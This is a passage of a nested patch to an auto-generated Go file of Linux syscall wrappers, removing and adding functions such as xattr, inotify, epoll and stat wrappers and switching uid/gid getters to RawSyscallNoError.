-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyAddWatch(fd int, pathname string, mask uint32) (watchdesc int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(pathname)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_INOTIFY_ADD_WATCH, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mask))
-- watchdesc = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyInit1(flags int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT1, uintptr(flags), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyRmWatch(fd int, watchdesc uint32) (success int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_RM_WATCH, uintptr(fd), uintptr(watchdesc), 0)
-- success = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Kill(pid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_KILL, uintptr(pid), uintptr(sig), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Klogctl(typ int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_SYSLOG, uintptr(typ), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lgetxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_LGETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Listxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Llistxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LLISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lremovexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LREMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lsetxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_LSETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func PivotRoot(newroot string, putold string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(newroot)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(putold)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_PIVOT_ROOT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func prlimit(pid int, resource int, newlimit *Rlimit, old *Rlimit) (err error) {
-- _, _, e1 := RawSyscall6(SYS_PRLIMIT64, uintptr(pid), uintptr(resource), uintptr(unsafe.Pointer(newlimit)), uintptr(unsafe.Pointer(old)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PRCTL, uintptr(option), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func read(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Removexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func RequestKey(keyType string, description string, callback string, destRingid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(callback)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_REQUEST_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(destRingid), 0, 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setdomainname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETDOMAINNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sethostname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETHOSTNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-- pid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Settimeofday(tv *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setns(fd int, nstype int) (err error) {
-- _, _, e1 := Syscall(SYS_SETNS, uintptr(fd), uintptr(nstype), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sync() {
-- Syscall(SYS_SYNC, 0, 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Syncfs(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_SYNCFS, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sysinfo(info *Sysinfo_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SYSINFO, uintptr(unsafe.Pointer(info)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-- r0, _, e1 := Syscall6(SYS_TEE, uintptr(rfd), uintptr(wfd), uintptr(len), uintptr(flags), 0, 0)
-- n = int64(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Tgkill(tgid int, tid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_TGKILL, uintptr(tgid), uintptr(tid), uintptr(sig))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Times(tms *Tms) (ticks uintptr, err error) {
-- r0, _, e1 := RawSyscall(SYS_TIMES, uintptr(unsafe.Pointer(tms)), 0, 0)
-- ticks = uintptr(r0)
-+func fanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname *byte) (err error) {
-+ _, _, e1 := Syscall6(SYS_FANOTIFY_MARK, uintptr(fd), uintptr(flags), uintptr(mask), uintptr(dirFd), uintptr(unsafe.Pointer(pathname)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1286,16 +24,8 @@ func Times(tms *Tms) (ticks uintptr, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Umask(mask int) (oldmask int) {
-- r0, _, _ := RawSyscall(SYS_UMASK, uintptr(mask), 0, 0)
-- oldmask = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Uname(buf *Utsname) (err error) {
-- _, _, e1 := RawSyscall(SYS_UNAME, uintptr(unsafe.Pointer(buf)), 0, 0)
-+func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-+ _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1304,13 +34,9 @@ func Uname(buf *Utsname) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Unmount(target string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UMOUNT2, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-+ r0, _, e1 := Syscall6(SYS_TEE, uintptr(rfd), uintptr(wfd), uintptr(len), uintptr(flags), 0, 0)
-+ n = int64(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1319,8 +45,8 @@ func Unmount(target string, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Unshare(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_UNSHARE, uintptr(flags), 0, 0)
-+func Dup2(oldfd int, newfd int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1329,8 +55,9 @@ func Unshare(flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Ustat(dev int, ubuf *Ustat_t) (err error) {
-- _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-+func EpollCreate(size int) (fd int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-+ fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1339,46 +66,14 @@ func Ustat(dev int, ubuf *Ustat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func write(fd int, p []byte) (n int, err error) {
-+func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-+ if len(events) > 0 {
-+ _p0 = unsafe.Pointer(&events[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func exitThread(code int) (err error) {
-- _, _, e1 := Syscall(SYS_EXIT, uintptr(code), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func readlen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func writelen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-+ r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1388,108 +83,8 @@ func writelen(fd int, p *byte, np int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Madvise(b []byte, advice int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(advice))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mprotect(b []byte, prot int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Msync(b []byte, flags int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ _, _, e1 := Syscall6(SYS_FADVISE64, uintptr(fd), uintptr(offset), uintptr(length), uintptr(advice), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1498,15 +93,8 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(events) > 0 {
-- _p0 = unsafe.Pointer(&events[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
-- n = int(r0)
-+func Fchown(fd int, uid int, gid int) (err error) {
-+ _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1515,8 +103,8 @@ func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Dup2(oldfd int, newfd int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
-+func Fstat(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1525,18 +113,13 @@ func Dup2(oldfd int, newfd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fchown(fd int, uid int, gid int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
-- if e1 != 0 {
-- err = errnoErr(e1)
-+func Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ _, _, e1 := Syscall6(SYS_NEWFSTATAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1566,7 +149,7 @@ func Ftruncate(fd int, length int64) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEGID, 0, 0, 0)
- egid = int(r0)
- return
- }
-@@ -1574,7 +157,7 @@ func Getegid() (egid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (euid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEUID, 0, 0, 0)
- euid = int(r0)
- return
- }
-@@ -1582,7 +165,7 @@ func Geteuid() (euid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETGID, 0, 0, 0)
- gid = int(r0)
- return
- }
-@@ -1600,7 +183,7 @@ func Getrlimit(resource int, rlim *Rlimit) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETUID, 0, 0, 0)
- uid = int(r0)
- return
- }
-@@ -1722,6 +305,26 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Seek(fd int, offset int64, whence int) (off int64, err error) {
- r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
- off = int64(r0)
-@@ -1734,7 +337,7 @@ func Seek(fd int, offset int64, whence int) (off int64, err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
